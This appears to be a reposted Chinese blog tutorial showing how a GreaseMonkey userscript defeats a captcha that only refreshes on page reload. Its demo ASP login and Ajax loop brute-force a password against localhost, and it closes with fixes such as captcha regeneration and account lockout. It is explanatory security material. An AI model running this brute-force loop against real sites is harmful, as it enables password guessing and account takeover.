GreaseMonkey讓網站登入驗證碼形同虛設

來源:互聯網
上載者:User
通常,為了增加暴力猜解網站使用者密碼的難度,我們會在網頁登入框中增加一個驗證碼,驗證碼儲存在伺服器端,而用戶端則使用一張圖片顯示:

驗證碼在整個登入過程表現為:使用者開啟登入頁面時,伺服器產生一個驗證碼,點擊登入後,跳轉到登入頁面,伺服器端檢查使用者輸入的驗證碼是否正確,若錯誤,跳回到登入頁面,產生一個新驗證碼讓使用者再次輸入登入。注意,產生新驗證碼的條件是登入頁面重新整理了!

以前沒覺得這有什麼問題,今天瞭解12306自動登入指令碼後,發現這問題太嚴重了,當使用GreaseMonkey時,簡直可以無視驗證碼的存在,原因是藉助GreaseMonkey可以在頁面使用Ajax提交表單進行登入,這過程不會重新整理登入頁面,所以伺服器不會產生新驗證碼,因而只要手工輸下驗證碼,指令碼就可以不斷嘗試登入進行猜解使用者名稱密碼!

1.GreaseMonkey自動登入示範

為了減少代碼量,便於說明問題,下邊示範時驗證碼不轉為圖形,直接輸出Session,效果一樣,不影響結論。

 

Default.asp:View Code

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>登入示範</title>
</head>

<body>
<%
Randomize
SESSION("passCode") = Int(8999*Rnd+1000) '產生驗證碼
%>
<form id="form1" name="form1" method="post" action="Login.asp">
使用者名稱:<input type="text" name="txtUsn" id="txtUsn" /><br />
密碼:<input type="text" name="txtUsp" id="txtUsp" /><br />
驗證碼:<input type="text" name="txtPassCode" id="txtPassCode" /><%=SESSION("passCode")%> <br />
<input type="submit" name="btn1" id="btn1" value="提交" />
</form>
</body>
</html>Login.asp:View Code

<%
Response.Charset = "utf-8"

Dim usn, usp, code, msg
usn = Request.Form("txtUsn")
usp = Request.Form("txtUsp")
code = Request.Form("txtPassCode")

Response.Write(Login(usn, usp, code))

'登入函數
Function Login(usn, usp, code)
    If SESSION("Login") = True Then
        Login = "登入成功."
    Else
        If usn<>"" And usp<>"" Then
            If code<>CStr(SESSION("passCode")) Then
                Login = "驗證碼出錯,請重新輸入."
                Exit Function
            End If
        
            If usn="admin" And usp="admin888" Then
                SESSION("Login") = True
                Login = "登入成功."
            Else
                Login = "使用者名稱或密碼出錯,請重新輸入."
            End If
        Else
            Login = "使用者未登入."
        End If
    End If    
End Function
%>GreaseMonkey指令碼:View Code

// ==UserScript==
// @name           自動登入
// @namespace      com.mzwu
// @include        http://localhost/default.asp
// @require           https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
// ==/UserScript==

if(typeof($) != "undefined")
{
    $("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登入測試\" />");

    $("#btn2").click(function(){
        var usn = "admin";
        var usp = "";
        var code = $("#txtPassCode").val();
        var responseText = "";
        var i = 0;

        while(responseText.indexOf("登入成功") == -1)
        {
            usp = "admin88" + (++i); //猜解密碼
            $.ajax({
                type : "POST",
                url  : "Login.asp?r=" + Math.random(),
                data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
                async: false,
                success : function(msg){
                    responseText = msg;
                    if(responseText.indexOf("登入成功") != -1)
                    {
                        alert("登入成功.嘗試次數:" + i);
                        location.href = "Login.asp";
                    }
                }
            });
        }
    });

    clearInteval(timer);
}測試結果:

 


2.解決方案

提供兩種解決方案供參考:

方法一:當驗證登入使用者名稱或密碼出錯時,伺服器端強制產生新驗證碼;
方法二:當嘗試登入5次失敗時,將帳戶鎖定一段時間不能登入;

3.參考資料

[1].Firefox擴充Greasemonkey使用樣本:http://www.mzwu.com/article.asp?id=3091

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.